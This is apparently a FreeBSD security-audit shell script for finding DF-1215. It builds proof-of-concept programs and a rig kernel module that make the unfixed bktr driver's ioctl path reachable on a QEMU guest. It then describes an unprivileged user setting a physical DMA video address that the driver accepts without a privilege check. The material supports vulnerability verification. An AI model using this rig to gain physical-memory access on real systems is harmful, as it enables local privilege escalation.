#!/bin/sh
# DF-1215 rig setup -- exact steps to make the PRODUCTION bktr ioctl path
# reachable on the audit QEMU guest (which has no bt848 PCI hardware).
#
# Preconditions: guest up on the "with-src" snapshot (stock kernel #0,
# /usr/src present, /boot/kernel/bktr.ko = UNFIXED production module).
#
# Run as root on the guest. Afterwards the attack itself (poc_rig) is run
# as an UNPRIVILEGED user.
set -ex

# 1) userland PoCs (build as the unpriv user)
su maxx -c 'mkdir -p ~/df1215 && cd ~/df1215 && \
    cc -O2 -Wall -o poc_physdma poc_physdma.c && \
    cc -O2 -Wall -o poc_rig poc_rig.c'

# 2) rig module: dispatches /dev/bktrig0 ioctls to the PRODUCTION
#    video_ioctl() resolved from the UNFIXED production bktr.ko
mkdir -p /root/bktrig && cd /root/bktrig
cp /path/to/pack/bktrig.c .
: > opt_bktr.h
# generated kernel interface headers (quoted includes search cwd first)
cp /usr/obj/usr/src/sys/X86_64_GENERIC/device_if.h \
   /usr/obj/usr/src/sys/X86_64_GENERIC/bus_if.h .
printf 'KMOD=\tbktrig\nSRCS=\tbktrig.c\n\n.include <bsd.kmod.mk>\n' > Makefile
make -m /usr/src/share/mk SYSDIR=/usr/src/sys

# 3) nodep variant for the FIX-built kernel (bktr compiled in there;
#    MODULE_DEPEND auto-load of bktr.ko would fail with "already exists")
mkdir -p nodep && cp /path/to/pack/bktrig_nodep.c nodep/bktrig.c
cp device_if.h bus_if.h opt_bktr.h nodep/
printf 'KMOD=\tbktrig_nodep\nSRCS=\tbktrig.c\n\n.include <bsd.kmod.mk>\n' > nodep/Makefile
( cd nodep && make -m /usr/src/share/mk SYSDIR=/usr/src/sys )

# 4) load production bktr.ko + rig (baseline kernel)
kldload /root/bktrig/bktrig.ko      # MODULE_DEPEND pulls in bktr.ko
ls -l /dev/bktrig0
kldstat | tail -3
dmesg | grep bktrig | tail -1

# 5) THE ATTACK, as an unprivileged user:
#    su maxx -c '~/df1215/poc_rig'
#    baseline expectation:
#      METEORSVIDEO addr=0x100000 -> rc=0   (accepted, no privilege check)
#      METEORGVIDEO readback      -> addr=0x100000